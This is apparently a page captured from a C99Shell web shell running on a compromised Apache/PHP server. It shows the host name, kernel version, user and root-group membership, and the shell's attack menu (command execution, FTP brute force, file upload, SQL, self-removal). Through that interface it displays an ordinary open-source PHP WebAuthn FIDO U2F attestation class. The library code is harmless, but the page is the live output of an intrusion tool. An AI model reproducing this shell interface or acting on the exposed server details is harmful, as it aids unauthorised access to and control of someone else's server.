!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/webauthn-lib/src/AttestationStatement/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     FidoU2FAttestationStatementSupport.php (4.89 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn\AttestationStatement;

use 
Assert\Assertion;
use 
CBOR\Decoder;
use 
CBOR\MapObject;
use 
CBOR\OtherObject\OtherObjectManager;
use 
CBOR\Tag\TagObjectManager;
use 
Cose\Key\Ec2Key;
use 
InvalidArgumentException;
use function 
Safe\openssl_pkey_get_public;
use function 
Safe\sprintf;
use 
Throwable;
use 
Webauthn\AuthenticatorData;
use 
Webauthn\CertificateToolbox;
use 
Webauthn\StringStream;
use 
Webauthn\TrustPath\CertificateTrustPath;

final class 
FidoU2FAttestationStatementSupport implements AttestationStatementSupport
{
    
/**
     * @var Decoder
     */
    
private $decoder;

    public function 
__construct()
    {
        
$this->decoder = new Decoder(new TagObjectManager(), new OtherObjectManager());
    }

    public function 
name(): string
    
{
        return 
'fido-u2f';
    }

    
/**
     * @param mixed[] $attestation
     */
    
public function load(array $attestation): AttestationStatement
    
{
        
Assertion::keyExists($attestation'attStmt''Invalid attestation object');
        foreach ([
'sig''x5c'] as $key) {
            
Assertion::keyExists($attestation['attStmt'], $keysprintf('The attestation statement value "%s" is missing.'$key));
        }
        
$certificates $attestation['attStmt']['x5c'];
        
Assertion::isArray($certificates'The attestation statement value "x5c" must be a list with one certificate.');
        
Assertion::count($certificates1'The attestation statement value "x5c" must be a list with one certificate.');
        
Assertion::allString($certificates'The attestation statement value "x5c" must be a list with one certificate.');

        
reset($certificates);
        
$certificates CertificateToolbox::convertAllDERToPEM($certificates);
        
$this->checkCertificate($certificates[0]);

        return 
AttestationStatement::createBasic($attestation['fmt'], $attestation['attStmt'], new CertificateTrustPath($certificates));
    }

    public function 
isValid(string $clientDataJSONHashAttestationStatement $attestationStatementAuthenticatorData $authenticatorData): bool
    
{
        
Assertion::eq(
            
$authenticatorData->getAttestedCredentialData()->getAaguid()->toString(),
            
'00000000-0000-0000-0000-000000000000',
            
'Invalid AAGUID for fido-u2f attestation statement. Shall be "00000000-0000-0000-0000-000000000000"'
        
);
        
$trustPath $attestationStatement->getTrustPath();
        
Assertion::isInstanceOf($trustPathCertificateTrustPath::class, 'Invalid trust path');
        
$dataToVerify "\0";
        
$dataToVerify .= $authenticatorData->getRpIdHash();
        
$dataToVerify .= $clientDataJSONHash;
        
$dataToVerify .= $authenticatorData->getAttestedCredentialData()->getCredentialId();
        
$dataToVerify .= $this->extractPublicKey($authenticatorData->getAttestedCredentialData()->getCredentialPublicKey());

        return 
=== openssl_verify($dataToVerify$attestationStatement->get('sig'), $trustPath->getCertificates()[0], OPENSSL_ALGO_SHA256);
    }

    private function 
extractPublicKey(?string $publicKey): string
    
{
        
Assertion::notNull($publicKey'The attested credential data does not contain a valid public key.');

        
$publicKeyStream = new StringStream($publicKey);
        
$coseKey $this->decoder->decode($publicKeyStream);
        
Assertion::true($publicKeyStream->isEOF(), 'Invalid public key. Presence of extra bytes.');
        
$publicKeyStream->close();
        
Assertion::isInstanceOf($coseKeyMapObject::class, 'The attested credential data does not contain a valid public key.');

        
$coseKey $coseKey->getNormalizedData();
        
$ec2Key = new Ec2Key($coseKey + [Ec2Key::TYPE => 2Ec2Key::DATA_CURVE => Ec2Key::CURVE_P256]);

        return 
"\x04".$ec2Key->x().$ec2Key->y();
    }

    private function 
checkCertificate(string $publicKey): void
    
{
        try {
            
$resource openssl_pkey_get_public($publicKey);
            
$details openssl_pkey_get_details($resource);
        } catch (
Throwable $throwable) {
            throw new 
InvalidArgumentException('Invalid certificate or certificate chain'0$throwable);
        }
        
Assertion::isArray($details'Invalid certificate or certificate chain');
        
Assertion::keyExists($details'ec''Invalid certificate or certificate chain');
        
Assertion::keyExists($details['ec'], 'curve_name''Invalid certificate or certificate chain');
        
Assertion::eq($details['ec']['curve_name'], 'prime256v1''Invalid certificate or certificate chain');
        
Assertion::keyExists($details['ec'], 'curve_oid''Invalid certificate or certificate chain');
        
Assertion::eq($details['ec']['curve_oid'], '1.2.840.10045.3.1.7''Invalid certificate or certificate chain');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0034 ]--